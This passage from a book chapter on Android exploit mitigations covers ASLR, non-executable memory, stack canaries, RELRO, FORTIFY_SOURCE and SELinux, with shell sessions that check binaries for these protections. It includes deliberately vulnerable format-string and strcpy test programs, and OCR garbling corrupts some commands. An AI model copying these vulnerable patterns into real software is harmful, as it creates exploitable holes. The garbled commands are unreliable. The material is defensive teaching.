bilities of what heap-based memory corruption could allow. Later publications 
dug deeper and deeper, covering exploitation techniques specific to certain heap 
implementations or applications. Despite the amount of existing material, heap 
corruption vulnerabilities are still commonplace today. 

At a high level, there are two main approaches to exploiting heap corrup- 
tions. The first method involves targeting application-specific data to leverage 
arbitrary code execution. For example, an attacker may attempt to overwrite 
a security critical flag or data used to execute shell commands. The second 
method involves exploiting the underlying heap implementation itself, usually 
metadata used by the allocator. The classic unl i nk technique is an example of 
this approach, but many more attacks have been devised since. This second 
method is more popular because such attacks can be applied more generically 
to exploit individual vulnerabilities across an entire operating system or family 
of operating system versions. How these attacks are mitigated vary from one 
heap implementation to the next. 

Android uses a modified version of Doug Lea’s memory allocator, or 
di mal | oc for short. The Android-specific modifications are minor and are not 
related to security. However, the upstream version of d| mal | oc used (2.8.6) at 
the time of this writing does contain several hardening measures. For example, 
exploits using the classic unl i nk attack are not possible without additional effort. 
Chapter 8 covers further details of how these mitigations work in Android. 
Android has included a hardened version of d| mal | oc since its first public release. 


Protecting Against Integer Overflows 


Integer overflow vulnerabilities, or integer overflows for short, are a type of 
vulnerability that can result in many different types of unwanted behavior. 
Modern computers use registers that are of finite size, usually 32 bit or 64 bit, 
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to represent integer values. When an arithmetic operation occurs that exceeds 
this finite space, the excess bits are lost. The portion that does not exceed the 
space remains. This is called modular arithmetic. For example, when the two 
numbers 0x8000 and 0x20000 are multiplied, the result is 0x100000000. Because 
the maximum value of a 32-bit register is Oxffffffff, the uppermost bit would not 
fit in the register. Instead the result value would be 0x00000000. Though integer 
overflows can cause crashes, incorrect price calculations, and other issues, the 
most interesting consequence is when memory corruption occurs. For example, 
when such a value is passed to a memory allocation function, the result is a 
buffer far smaller than what was expected. 

On August 5, 2002, long time security researcher Florian Weimer notified 
the then-popular Bugtraq mailing list of a serious vulnerability in the cal loc 
function of various C runtime libraries. This function takes two parameters: a 
number of elements and the size of one element. Internally, it multiplies these 
two values and passes the result to the mal | oc function. The crux of the issue 
was that vulnerable C runtime libraries did not check if integer overflow had 
occurred when multiplying. If the multiplication result was larger than a 32-bit 
number, the function returned a much smaller buffer than what the caller 
expected. The issue was fixed by returning NULL if integer overflow occurred. 

The Android Security Team ensured that this fix was implemented prior to 
the first release of Android. All versions of Android are protected against this 
issue. In the Android security-related documentation, changes to cal loc are 
touted as security enhancement. Most security researchers would consider it 
a success in not re-introducing a previously well-known vulnerability rather 
than an “enhancement.” That said, this particular issue was never assigned a 
Common Vulnerabilities and Exposures (CVE) identifier! We don’t really see 
this as an exploit mitigation, but it was included here for completeness. 

Android attempts a more holistic approach to avoiding integer overflows by 
including a library developed by Google Chrome OS developer Will Drewry 
called safe_iop. The name is short for “safe integer operations.” It includes special 
arithmetic functions that return failure when an integer overflow occurs. This 
library is designed to be used for sensitive integer operations, in lieu of the 
language-intrinsic arithmetic operators. Examples include calculating the size 
of a block of dynamic memory or incrementing a reference counter. Android 
has included this library since the very first release. 

During the course of writing this book, we investigated Android’s use of 
safe_iop in further detail. We examined Android 4.2.2, the latest release at the 
time of this writing. We found only five source files included the safe_iop header. 
Taking a deeper look, we looked for references to thes af e_add,safe_mul,and 
safe_sub functions provided by the library. Each function is referenced five, 
two, and zero times, respectively. Primarily these uses lie in Bionic’s libc, the 
stock recovery’s minzip, and Dalvik’s libdex. Further, Android’s version appears 
to be out of date. The current upstream version is 0.4.0 with several commits on 
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the way to 0.5.0. An AOSP commit references version 0.3.1, which is the current 
release version. However, the saf e_i op. h header file does not contain version 
0.3.1 in the change log. Overall this is somewhat disappointing given the benefit 
widespread use of such a library could have. 


Preventing Data Execution 


One common exploit-mitigation technique used by modern systems aims to 
prevent attackers from executing arbitrary code by preventing the execution 
of data. Machines based on the Harvard architecture contain this protection 
inherently. Those systems physically separate memory that holds code from 
memory that holds data. However, very few systems, including ARM-based 
devices, use that architecture in its pure form. 

Instead, modern systems are based on a modified Harvard architecture or 
the Von Neumann architecture. These architectures allow code and data to 
coexist in the same memory, which enables loading programs from disk and 
eases software updates. Because these tasks are crucial to the convenience of 
a general-purpose computer, systems can only partially enforce code and data 
separation. When designing this mitigation, researchers chose to focus on the 
execution of data specifically. 

In 2000 and 2002, pipacs of the PaX team pioneered two techniques to prevent 
executing data on the i386 platform. Because the i386 platform does not allow 
marking memory as non-executable in its page tables, these two software-only 
techniques abused rarely used hardware features. In 2000, PaX included a tech- 
nique called PAGEEXEC. This technique uses the Translation Lookaside Buffer 
(TLB) caching mechanism present in those central processing units (CPUs) to 
block attempts to execute data. In 2002, PaX added the SEGMEXEC technique. 
This approach uses the segmentation features of i386 processors to split user- 
space memory into two halves: one for data and one for code. When fetching 
instructions from memory stored only in the data area, a page fault occurs that 
allows the kernel to prevent data from executing. Though PaX struggled with 
wide adoption, a variant of the SEGMEXEC technique was included in many 
Linux distributions as exec-shield. These techniques predate, and very likely 
inspired, the modern techniques used to prevent executing data. 

Modern devices use a combination of hardware and software support to prevent 
executing data. Current ARM and x86 processors support this feature, though 
each platform uses slightly different terminology. AMD introduced hardware 
support for Never Execute (NX) in AMD64 processors such as the Athlon 64 
and Opteron. Later, Intel included support for Execute Disable (XD) in Pentium 
4 processors. ARM added support for Execute Never (XN) in ARMv6. The HTC 
Dream, also known as G1 or ADP1, used this processor design. 
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In both ARM and x86 architectures, the operating system kernel must sup- 
port using the feature to denote that certain areas of memory should not be 
executable. If a program attempts to execute such an area of memory, a proces- 
sor fault is generated and delivered to the operating system kernel. The kernel 
then handles the fault by delivering a signal to the offending process, which 
usually causes it to terminate. 

The Linux kernel marks the stack memory of a program as executable unless it 
finds a GNU_STACK program header without the executable flag set. This program 
header is inserted into the binary by the compiler tool chain when compiled 
with the - znoexecst ack option. If no such program header exists, or one exists 
with the executable flag set, the stack is executable. As a side effect, all other 
readable mappings are executable as well. 

Determining whether a particular binary contains such a program header 
can be accomplished using either the execst ack orreadel f programs. These 
programs are available on most Linux distributions and are also included in the 
Android Open Source Project (AOSP) repository. The following excerpt shows 
how to query the executable stack status of a given binary using each program. 


dev: ~/android $ execstack -q cat* 
? cat-gl 

- Cat-gn-takju 
X cat-gn-takj u- CLEARED 


dev: ~/android $ readelf -a cat-gl | grep GNU STACK 


dev: ~/android $ readelf -a cat-gn-takju | grep GNU_STACK 
GNU_ STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 Rw 0 


dev: ~/android $ readelf -a cat-gn-takju-CLEARED | grep GNU_STACK 
GNU_ STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RVE 0 


In addition to using these programs, it is also possible to find out if memory 
mappings are executable via the maps entry in the pr oc file system. The following 
excerpts show the mappings for the cat program on a Galaxy Nexus running 
Android 4.2.1 and a Motorola Droid running Android 2.2.2. 


shell @android:/ $ # on the Galaxy Nexus running Android 4.2.1 
shell @android:/ $ cat /proc/self/maps | grep -E '(stack|heap)' 
409e4000-409ec000 rw-p 00000000 00:00 0 [heap] 
bebaf000-bebd0000 rw-p 00000000 00:00 0 [stack] 


$ # on the Motorola Droid running Android 2.2.2 

$ cat /proc/self/maps | grep -E '(stack| heap) 
0001c000-00022000 rwxp 00000000 00:00 0 [heap] 
beal3000-beal4000 rwxp 00000000 00:00 0 [stack] 
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Each line in the maps file contains the start and end address, permissions, 
page offset, major, minor, inode and name of a memory region. As you can 
see from the permissions fields in the earlier code, the stack and heap are not 
executable on the Galaxy Nexus. However, they are both executable on the 
older Motorola Droid. 

Although the Linux kernel from the initial 1.5 release of Android supports 
this mitigation, system binaries were not compiled with support for the fea- 
ture. Commit 2915¢c3 added support on May 5, 2010. Android 2.2 (Froyo) was 
released only two weeks later, but did not include the protection. The next release, 
Android 2.3 (Gingerbread), finally brought this mitigation to consumer devices. 
Still, some Gingerbread devices, such as the Sony Xperia Play running Android 
2.3.4, only partially implemented this mitigation. The following excerpt shows 
the stack and heap memory mappings on such a device. 


$ # on a Sony Xperia Play with Android 2.3.4 

$ cat /proc/self/maps | grep -E '(stack|heap)' 

0001c000- 00023000 rwxp 00000000 00:00 0 [heap] 
Te9af000-7e9b0000 rw-p 00000000 00:00 0 [stack] 


Here, the stack is not executable, but data within the heap can still be executed. 
Inspecting the kernel sources for this device shows the heap was kept executable 
for legacy compatibility reasons, though it is unclear if this was truly necessary. 
This mitigation was enabled in the Native Development Kit (NDK) with the release 
of revision 4b in June 2010. After that release, all versions of AOSP and the NDK 
enable this compiler option by default. With this protection present, attackers 
cannot directly execute native code located within non-executable mappings. 


Address Space Layout Randomization 


Address Space Layout Randomization (ASLR) is a mitigation technique that aims 
to introduce entropy into the address space of a process. It was introduced by the 
PaX team in 2001 as a stop-gap measure. Most exploits from the pre-ASLR era 
depended on hard-coded addresses. Although this was not a strict requirement, 
exploit developers of that time used such addresses to simplify development. 

This mitigation is implemented in several places throughout the operating 
system kernel. However, similar to preventing data execution, the kernel enables 
and disables ASLR based on information in the binary format of executable 
code modules. Doing this means that support is also required in the compiler 
tool chain. 

There are many types of memory provided by the Linux kernel. This includes 
regions provided the brk and mmap system calls, stack memory, and more. The 
brk system call provides the memory area where the process stores its heap 
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data. The mmap system call is responsible for mapping libraries, files, and other 
shared memory into a process's virtual address space. Stack memory is allocated 
early in process creation. 

ASLR functions by introducing entropy in the virtual addresses allocated by 
these facilities. Because there are multiple places where these regions are created, 
randomizing each memory area requires special considerations and individual 
implementation. For that reason, ASLR is often implemented in phases. History 
has shown that implementers will release different versions of their operating 
systems with varying amounts of support for ASLR. After all possible memory 
segments are randomized, the operating system is said to support “Full ASLR.” 

Even if a system fully supports ASLR, a given process's address space might 
not be fully randomized. For example, an executable that does not support 
ASLR cannot be randomized. This happens when the compiler flags required 
to enable certain features were omitted at compile time. For example, position- 
independent executable (PIE) binaries are created by compiling with the - f PI E 
and - pie flags. You can determine if a particular binary was compiled with 
these flags by inspecting thet ype field using ther eadel f command, as shown 
in the following excerpt. 

dev: ~/android $ # cat binary from Android 1.5 


dev: ~/android $ readelf -h cat-gl | grep Type: 
Type: EXEC (Executable file) 


dev: ~/android $ # cat binary from Android 4.2.1 
dev: ~/android $ readelf -h cat-gn-takju | grep Type: 
Type: DYN (Shared object file) 


When a binary supports having its base address randomized, it will have the 
type DYN. When it does not, it will have the type EXEC. As you can see in the 
preceding code, the cat binary from the G1 cannot be randomized, but the one 
from the Galaxy Nexus can. You can verify this by sampling the base address 
inthe maps file from proc several times, as shown here: 


# # two consecutive samples on Android 1.5 
# /system/bin/toolbox/cat /proc/self/ maps | head -1 


00008000-00018000 r-xp 00000000 1f:03 520 /system/ bin/tool box 
# /system/bin/toolbox/cat /proc/self/ maps | head -1 
00008000-00018000 r-xp 00000000 1f:03 520 /system/ bin/tool box 
shel! @android:/ $ # two consecutive samples on Android 4.2.1 

shell @android:/ $ /system/bin/cat /proc/self/maps | grep toolbox | \ 
head -1 

4000e000-4002b000 r-xp 00000000 103:02 267 /system/ bin/ tool box 


shell @android:/ $ /system/bin/cat /proc/self/maps | grep toolbox | \ 
head -1 
40078000- 40095000 r-xp 00000000 103:02 267 [system/ bin/tool box 
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The excerpts clearly show that proper binary base randomization occurs on 
Android 4.2.1. This can be seen from the first number, the base addresses of 
the binary’s code region. The base addresses differ between two consecutive 
executions, 0x4000e000 for the first, and 0x40078000 for the second. As expected, 
the base address of Android 1.5 binary does not get randomized. 


Thec at binary on Android is often just a symbolic link to thet 001 box 
binary. Additionally, the shell provided by Android sometimes includes thecat com- 
mand as a built-in. On those systems, it’s necessary to execute/ system/bin/cat to 
get an accurate sampling across executions. 


Another memory area that tends to be overlooked is the vds o (x86) or vectors 
(ARM) regions. These memory mappings facilitate easier and quicker commu- 
nication with the kernel. Up until 2006, x86 Linux did not randomize the vds o 
memory region. Even after the kernel supported randomizing the v ds 0, some 
Linux distributions did not enable the required kernel configuration option 
until much later. 

Similar to other modern operating systems, Android’s support for ASLR was 
implemented in phases. Initial ASLR support, introduced in 4.0, only included 
randomization for the stack and regions created by the mmap system call (including 
dynamic libraries). Android 4.0.3 implemented randomization for the heap in 
commit d707f b3. However, ASLR was not implemented for the dynamic linker 
itself. Georg Wicherski and Joshua J. Drake leveraged this fact when they devel- 
oped the browser exploit discussed in Chapter 8 and Chapter 9. Android 4.1.1 
made significant improvements by adding entropy into the base addresses of 
the dynamic linker and all system binaries. As of this writing, Android almost 
fully supports ASLR. The only remaining memory region that is not random- 
ized is the vect ors region. 


Combining multiple mitigations, in a layered approach, is a form of defense 
in depth. Doing so significantly complicates the creation of reliable exploits. The best 
example is when ASLR and XN are both fully enabled. In isolation, they have limited 
effect. Without full ASLR, attackers can use Return-Oriented Programming, covered 
in Chapter 9, to bypass XN. Full ASLR without XN is easily circumvented by using tech- 
niques such as heap spraying. Each of these mitigations complements the other, mak- 
ing for a much stronger security posture. 


Protecting the Stack 


In order to combat stack-based buffer overflows, Crispin Cowan introduced a 
protection called StackGuard in 1997. The protection works by storing a canary 
value before the saved return address of the current stack frame. The canary, 
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sometimes called a cookie, is created dynamically in a function’s prologue. The 
code to do so is inserted by the compiler at compile time. Initially, the canary 
value consisted of all zeros. Later, the protection was updated to use random- 
ized cookie values, which prevents exploiting buffer overflows occurring from 
memcpy operations. Eventually StackGuard became unmaintained and other 
implementations of stack protection were created. 

To fill the gap left by StackGuard, Hiroaki Etoh of IBM started a project called 
ProPolice. Also known as Stack-Smashing-Protector (SSP), ProPolice differs from 
StackGuard in a few ways. First, IBM implemented the protection in the front 
end of the compiler instead of the back end. Second, IBM extended protection to 
include more than just the return address of protected functions. Third, variables 
are reordered such that overflowing a buffer or array is less likely to corrupt 
other local variables. Finally, ProPolice creates a copy of function arguments 
in order to protect them from corruption as well. ProPolice is standard in the 
GNU Compiler Collection (GCC) and enabled by default by many operating 
systems, including Android. 

In Android, the ProPolice stack protection is enabled by passing the - f st ack- 
protector flag to the GCC compiler. Android has supported this feature since 
the first public version, Android 1.5. In addition to being used to compile the 
operating system itself, this mitigation was enabled by default for the NDK 
used by third-party developers. This ensures that all binaries are compiled with 
this protection by default. Android adopted this mitigation very early, which 
certainly rendered a number of stack-based buffer overflow vulnerabilities 
non-exploitable. 


Format String Protections 


Format string vulnerabilities represent a very interesting class of issues. When 
first discovered and documented, many people were surprised that such a 
mistake could be exploited. As more people started to understand and exploit 
the issues, mitigation research began. In 2001, several researchers presented a 
paper called “FormatGuard: Automatic Protection From printf Format String 
Vulnerabilities.” Currently, several mitigation strategies, many of which are 
described in the FormatGuard paper, exist for dealing with this class of issues. 

One strategy involves special compiler flags that detect potentially exploit- 
able format string issues at compile time. Calling this protection a mitigation 
is a bit of amisnomer. Rather than preventing exploitation of issues that escape 
detection, it aims to prevent introducing issues into a running system at all. 
This protection is invoked by passing the compiler flags - Wf or mat -security and 
-Werror=format-security when compiling code. The following shell session 
excerpt shows the behavior of the compiler with these flags enabled: 


dev: ~/android $ cat fmt-testl.c 
#include <stdio.h> 
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int main(int argc, char *argv[]) { 
printf(argv[1]); 
return 0; 


} 

dev: ~/android $ gcc -Whormat-security -Werror=format-security -o test \ 
fmt-testl.c 

fmt-testl.c: In function 'main': 

fmt-testl.c:3:3: error: format not a string literal and no format 
arguments [-Werror=format-security] 

ccl: some warnings being treated as errors 

dev: ~/android $ Is -I test 

ls: cannot access test: No such file or directory 


As shown in the excerpt, the compiler prints an error instead of producing 
an executable. The compiler successfully detected that a nonconstant string was 
passed as the format string parameter to the printf function. Such a noncon- 
stant string is assumed to be controllable by an attacker, and therefore might 
represent a security vulnerability. 

However, this protection is not comprehensive. Some vulnerable programs 
will not be detected by this protection. For example, the following program does 
not produce any warning and therefore a binary is produced. 


dev: ~/android $ cat fmt-test2.c 
#include <stdio.h> 


int main(int argc, char *argv[]) { 
printf(argv[1l], argc); 
return 0; 


} 
dev: ~/android $ gcc -Wformat-security -Werror=format-security -o test \ 
fmt-test2.c 

dev: ~/android $ Is -I test 

dev: ~/android $ ./test %x 

2 


Many other such corner cases exist. An example is a custom function that 
uses the variable argument facilities, provided by the st dar g. h header. GCC 
implements this protection using the __format__ function attribute. The fol- 
lowing excerpt from bi onic/!ibc/include/stdio.h in the AOSP tree shows 
this annotation for the printf function. 


237 int printf(const char *, ...) 
238 _ attribute ((__format__ (printf, 1, 2)) 


This function attribute has three arguments. The first argument is the function 
name. The second and third arguments index the parameters passed to printf, 
starting with one. The second argument indicates the index of the format string 
itself. The third argument refers to the index of the first argument following the 
format string. The printf function is just one of many functions annotated in 
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this way. If a custom variable argument function is not annotated this way, GCC’s 
-Wor mat warning facility cannot detect the potentially vulnerable condition. 

Android first distributed binaries built with the - Wformat-security flag in 
version 2.3, known as Gingerbread. The source code change that introduced 
this occurred on May 14, 2010. The relevant commit identifier was d868cad. 
This change ensures that all code built as part of Android is protected by this 
protection. All versions of the NDK shipped with a compiler that supports this 
feature, but the default configuration did not use this compiler flag until ver- 
sion r9 in July 2013. As such, source code built using older versions of the NDK 
will remain susceptible to format string attacks unless the developer manually 
intervenes. 


Default compiler flags for AOSP builds are found within the bui | d/ cor e/ 
combo/TARGET_li nux- <arch>. mk file, where <ar ch > represents the target archi- 
tecture (usually arm). 


Another strategy involves disabling the %n format specifier. This specifier is 
used to precisely corrupt memory when exploiting format string vulnerabili- 
ties. The Android developers removed support for the %n specifier from Bionic 
in October 2008, prior to the first public release of Android. However, while 
neutering this specifier may make some issues non-exploitable, it does not 
holistically address the class of issues. An attacker could still potentially cause 
a buffer overflow or denial of service condition using other format specifiers. 

Yet another strategy is enabled when defining _FORTI FY_SOURCE to 2at com- 
pile time. This mitigation technique prevents using the %n specifier in a format 
string that resides within writable memory. Contrary to the - Wf or mat -security 
flag, this protection also contains a runtime component implemented in the 
operating system C runtime library. You can read more about this strategy 
and its inclusion in Android in further detail in the “Fortifying Source Code” 
section later in this chapter. 


Read-Only Relocations 


Another popular technique for exploiting memory corruption vulnerabilities 
involves overwriting pointers used to resolve external functions. Primarily, this 
involves changing entries in the Global Offset Table GOT) to point to attacker- 
supplied machine code or other advantageous functions. This technique has 
been used in numerous exploits in the past since the GOT entry addresses are 
easily found using tools likereadel f and obj dump. 

To prevent attackers from using this technique, long-time Linux contributor 
Jakub Jelinek proposed a patch on the binutils mailing list. You can see the 
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original post atht tp: // www. sourceware. org/ml/binutils/2004-01/msg00070. 

ht ml . This patch marks the birth of a mitigation called Read-Only Relocations, 
or relro for short. First, the compiler generates a binary that opts into this protec- 
tion using the - Wi ,-z, rel ro compiler flag. You can determine if a particular 
binary is protected by this mitigation using ther eadel f command shown here: 


dev: ~/android $ # cat binary from Android 1.5 
dev: ~/android $ readelf -h cat-gl | grep RELRO 


dev: ~/android $ # cat binary from Android 4.2.1 
dev: ~/android $ readelf -h cat-gn-takju | grep RELRO 
GNU_RELRO 0x01d334 0x0001e334 0x0001e334 Ox00ccc Ox00ccc RW 0x4 


Unfortunately, using only the - W ,-z,relro flag is insufficient. Using only 
this flag enables what is known as partial relro. In this configuration, the GOT 
is left writable. In order to achieve maximum effectiveness, or full relro, you 
also need the - WI , -z, now flag. The following excerpt shows how to check if 
full relro is enabled. 

dev: ~/android $ readelf -d cat-gn-takju | grep NOW 


0x0000001le (FLAGS) BI ND_NOW 
Ox6ffffffb (FLAGS 1) Flags: NOW 


Adding this additional flag instructs the dynamic linker to load all dependen- 
cies when the program starts. Because all dependencies are resolved, the linker 
no longer needs to update the GOT. Therefore, the GOT is marked as read-only 
for the remainder of the program’s execution. With this memory area read-only, it 
is not possible to write there without first changing the permissions. An attempt 
to write to the GOT crashes the process and prevents successful exploitation. 

Android included this mitigation in April 2012 as part of version 4.1.1. It 
correctly uses both the required flags to achieve a read-only GOT area. The 
relevant AOSP commit identifier was 2330460. Revision 8b was the first NDK 
release to use this protection. After that release, all versions of AOSP and the 
NDK enable this compiler option by default. As with format string protections, 
source code built with older versions of the NDK will remain vulnerable until 
the developer recompiles with a newer version of the NDK. With this protection 
present, attackers cannot write to the GOT or execute data stored there. 


Sandboxing 


Sandboxing has become a popular mitigation technique in the last five years, 
since the release of Google Chrome. The primary goal of sandboxing is to take 
the principle of least privilege to the next level by running parts of a program 
with reduced privileges and/or functionality. Some code simply has a higher 
risk profile, whether due to low code quality or increased exposure to untrusted 
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data. Running riskier code in a constrained environment can prevent success- 
ful attacks. For example, a sandbox may prevent an attacker from accessing 
sensitive data or harming the system, even if the attacker can already execute 
arbitrary code. Popular Windows desktop software such as Microsoft Office, 
Adobe Reader, Adobe Flash, and Google Chrome use sandboxing to some extent. 
Android has used a form of sandboxing since its first release. Recall from 
Chapter 2 that Android uses individual user accounts to isolate processes from 
each other. This type of sandboxing is fairly coarse-grained, but nevertheless is 
a legitimate form of sandboxing. Later, Android version 4.1 added the Isolated 
Services feature that allows an application to spawn a separate process that 
runs under a different user ID. Due to the availability of this feature, Chrome 
for Android uses a slightly stronger sandbox on Jelly Bean—based devices than 
on devices with earlier versions of Android. Future revisions of Android are 
likely to include further enhancements in this area. You can read more about 
one such initiative in the “Future of Mitigations” section later in this chapter. 


Fortifying Source Code 


In 2004, long time Linux contributor Jakub Jelinek created the source fortifi- 
cation mitigation in an effort to prevent common buffer overflow flaws from 
being exploited. It is implemented in two parts: one in the compiler and one in 
the operating system C library. When building source code with optimization 
enabled and - D_FORTI FY_ SOURCE, the compiler wraps calls to traditionally error- 
prone functions. Wrapper functions in the C library validate various properties 
of the parameters passed to the original function at run time. For example, the 
size of the destination buffer passed to a call to the st rcpy function is checked 
against the length of the source string. Specifically, attempting to copy more 
bytes than the destination buffer can hold results in a validation failure and 
program termination. 

The strcpy function is only one of many wrapped functions. Exactly which 
functions are fortified vary from one implementation to the next. The GCC com- 
piler and C library included with Ubuntu 12.04 contains more than 70 wrapped 
functions. The general technique of instrumenting potentially dangerous func- 
tions is quite powerful, and can be applied to do more than just check for buffer 
overflows. In fact, using a value of 2 enables additional checks, including some 
that prevent exploiting format string attacks. 

The following excerpt shows an example of FORTI FY_ SOURCE in action on an 
Ubuntu 12.04 x86_64 machine: 


dev: ~/android $ cat bof-testl.c 
#include <stdio.h> 

#include <string.h> 

int main(int argc, char *argv[]) { 
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char buf[256]; 
strcepy(buf, argv[1]); 
return 0; 
} 
dev: ~/android $ gcc -D_FORTIFY_SOURCE=1 -02 -fno-stack-protector -o \ 
test bof-test.c 
dev: ~/android $ ./test ‘ruby -e 'puts "A" * 512'° 
*** buffer overflow detected ***: ./test terminated 
======= Backtrace: =s======= 


The test program is a simple contrived example that contains a buffer over- 
flow flaw. When you attempt to copy too many bytes, the impending memory 
corruption is detected and the program is aborted. 

During the development of 4.2, FORTI FY_ SOURCE was implemented in the 
Android operating system. Unfortunately, these changes are not yet supported 
in the Android NDK. A series of several commits (0a23015,71a18dd,cff df 66, 
9b549c3,8df49ad,965dbc6,f 3913b5, and 260bf 8c) to the Bionic C runtime library 
fortified 15 of the most commonly misused functions. The following excerpt 
examines the! i bc. so binary from Android 4.2.2. We used the command from 
the Ubuntu CompilerFlags page athttps:// wiki. ubuntu. com/Tool Chai n/ 
CompilerFlags to get this number. 


dev: ~/android/source $ arm-eabi-readelf -a \ 
out/target/product/maguro/system/lib/libc.so \ 

egrep ' FUNC .* chk( @@| |$)' \ 

sed -re 's/ \([0-9] +\)$//9; s/.* J/g; s/@*//g;' N 
egrep '* _.*_ chk$' \ 

sed -re 's/*__//g; s/_chk$//g' \ 

sort \ 

we -| 


15 


Prior to Android 4.4, only level 1 of the FORTI FY_ SOURCE mitigation is imple- 
mented. Although this does not include protections against format string 
attacks, it does include buffer overflow checks. It even includes a few Bionic- 
only extensions that check parameters passed to the str! en function, as well 
as the BSD stricpy andstricat functions. Android 4.4 implemented level 2 
of the FORTIFY_SOURCE mitigation. 

To confirm that F ORTI FY_SOURCE is in effect, we execute our test on a Galaxy 
Nexus running Android 4.2.2. The build environment consists of a checkout of 
AOSP tag android-4.2.2_r1 onan Ubuntu x86_64 development machine. The 
following excerpt shows the results of the test. 


dev: ~/android/source $ . build/envsetup.h 


dev: ~/android/source $ lunch full_maguro-userdebug 
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dev: ~/android/source $ tar zxf ~/ahh/bof-test.tgz 

dev: ~/android/source $ make bof-test 

[... build proceeds ...] 

dev: ~/android/source $ adb push \ 

out/target/product/maguro/system/ bin/bof-test /data/local/tmp 

121 KB/s (5308 bytes in 0.042s) 

dev: ~/android/source $ adb shel 

shell @android:/ $ myvar=" busybox seq 1 260 | busybox sed 's/.*/./' \ 
| busybox tr -d '\n'° 

shell @android:/ $ echo -n $myvar | busybox we -c 


260 
shel! @android:/ $ /data/local/tmp/bof-test $myvar & 
[1] 29074 


shell @android:/ $ 

[1] + Segmentation fault [data/local/tmp/bof-test $myvar 
shell @android:/ $ logcat -d | grep buffer 

F/libc (29074): *** strcpy buffer overflow detected *** 


We use the AOSP build system to compile the program to verify that F ORTI FY_ 
SOURCE is enabled as part of the default compilation settings. As you can see, 
the impending memory corruption is once again detected, and the program is 
aborted. Rather than print the error to the console, Android logs the error using 
its standard mechanisms. 

As powerful as source fortification is, it is not without drawbacks. First of all, 
FORTI FY_ SOURCE only works when operating on buffers for which the compiler 
knows the size. For example, it is unable to validate the length of a variable 
size buffer passed as the destination pointer tostrcpy. Because this mitigation 
requires compiling with special flags, it cannot be retroactively applied to binary- 
only components. Even with these shortcomings, FORTI FY_ SOURCE is a powerful 
mitigation that has certainly prevented many bugs from being exploited. 


Access Control Mechanisms 


Access control enables administrators to limit what can be done within a com- 
puter system. There are two main types of access control: Discretionary Access 
Control (DAC) and Mandatory Access Control (MAC). Another mechanism, 
called Role-Based Access Control (RBAC) also exists. Although RBAC is similar 
to DAC and MAC it is different in that it is more flexible. It can include elements 
of both DAC and MAC. These mechanisms are used to prevent lesser-privileged 
users from accessing valuable system resources or resources which they do not 
need to access. 

Though MAC and DAC are similar in that they allow protecting resources, 
they differ in one major way. Where DAC allows users to modify access poli- 
cies themselves, MAC policies are controlled by the system administrators. 


407 


408 


Chapter 12 = Exploit Mitigations 


The best example of DAC is UNIX file system permissions. A nonprivileged 
user can change the permissions of files and directories that he owns in order 
to give other users access. This does not require permission from the system 
administrator. A relevant example of MAC is SELinux, in which the system 
administrator must define and maintain who has access to what. 

Throughout 2012 and in early 2013, Stephen Smalley, Robert Craig, Kenny 
Root, Joshua Brindle, and William Roberts ported SELinux to Android. In April 
2013, Samsung implemented SELinux on its Galaxy $4 device. SELinux has three 
modes of enforcement: di sabl ed, per mi ssive,andenforci ng. Setting enforce- 
ment to di sabl ed means that SELinux is present but not doing anything. Using 
the per mi ssi ve enforcement mode, SELinux logs policy violations but does not 
deny access. Finally, enf or ci ng mode strictly enforces policies by denying access 
attempts that violate them. On the Galaxy S4, the default enforcement mode is 
set to per mi ssi ve. Samsung’s KNOX enterprise product as well as newer Galaxy 
S4 firmware revisions use enf or ci ng mode. Google announced official support 
for SELinux in Android 4.3, but it used per mi ssi ve mode. Android 4.4 was the 
first version to include SELinux in enf orci ng mode. 

SELinux is not the only access control solution that has been seen on Android 
devices. Another MAC implementation called TOMOYO is known to be used on 
the LG Optimus G sold in Japan. At boot, the TOMOYO policy loaded by ccs - 
init prevents running a shell as root. Also, a kernel module called seal i me. 
ko was found on a Toshiba Excite Android tablet. It appears that it was at least 
loosely based on preliminary work porting SELinux to Android. 

Just like other mitigation techniques, MAC solutions do have trade-offs. First 
of all, they are usually quite difficult to configure properly. Typically, policies are 
developed by putting the MAC into a learning mode and performing allowed 
operations. The alternative is a long, drawn-out process in which a policy creator 
must manually create rules for every allowed event. Both approaches are error- 
prone because invariably some allowed operations get overlooked or incorrect 
assumptions are made. Auditing these policies is a high priority when review- 
ing the security of systems that employ access control mechanisms. A properly 
configured MAC can cause massive headaches for an attacker, regardless of 
which specific implementation is used. 


Protecting the Kernel 


Over the years, many researchers, including the PaX team and Brad Spengler, 
worked to harden the Linux kernel. This includes not only user-space work 
mentioned previously in this chapter but also work to prevent exploiting the 
kernel itself. However, the researchers have not been successful in getting their 
changes included in the official kernel source code. A few researchers — notably 
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Kees Cook, Dan Rosenberg, and Eric Paris — have had limited success in this 
area. That said, convincing the kernel maintainers to implement security-specific 
hardening measures remains a challenging proposition. As Kees and Eric have 
shown, implementing such measures in a Linux distribution-specific patch first 
helps. The rest of this section serves to document the hardening measures that 
are present in the Linux kernels used by Android devices. 


Pointer and Log Restrictions 


Thekptr_restrict anddmesg restrict kernel settings aim to prevent local, 
unprivileged users from obtaining sensitive kernel memory address information. 
Past kernel exploits used address information from virtual file system entries 
whose output are generated from within kernel-space. By resolving this infor- 
mation on the fly, exploit developers are able to eliminate hard-coded addresses 
and create exploits that work on multiple systems without additional effort. 

Forkptr_restrict, modifications were made to the pri ntk function. Specifically, 
changes enabled kernel developers to use the %pK format specifier when print- 
ing sensitive kernel pointers. Inside pri ntk, the behavior varies based on the 
kptr_restrict setting. The values currently supported include disabled (0), 
require CAP_SYSLOG (1), or always replace (2). This protection comes into play 
when attempting to access sysfs and procfs entries such as/proc/kallsyms. 
The following excerpt is from a Galaxy Nexus running Android 4.2.1: 


shell @android:/ $ grep slab_alloc /proc/kallsyms 
00000000 t __slab_alloc.isra.40.constprop. 45 


As you can see, the address is not shown. Instead, eight zeros are displayed. 

Similarly, dmesg_restrict prevents unprivileged users from accessing the 
kernel ring buffer using the dmesg command ork! ogct! function. The follow- 
ing message accompanied the original patch submitted to the Linux Kernel 
Mailing List (LKML). 


Rather than futilely attempt to sanitize hundreds (or thousands) of printk 
statements and simultaneously cripple useful debugging functionality, it is 
far simpler to create an option that prevents unprivileged users from read- 
ing the syslog. 


It was simply quicker and easier to protect access to the kernel ring buffer than 
it was to continue updating potentially sensitive pointer values. Also, several 
Linux kernel developers actively opposed changes involved in implementing 
kptr_restrict. 

These hardening measures were developed by Dan Rosenberg. They were first 
introduced in Linux kernel version 2.6.38. Android devices using such a kernel 
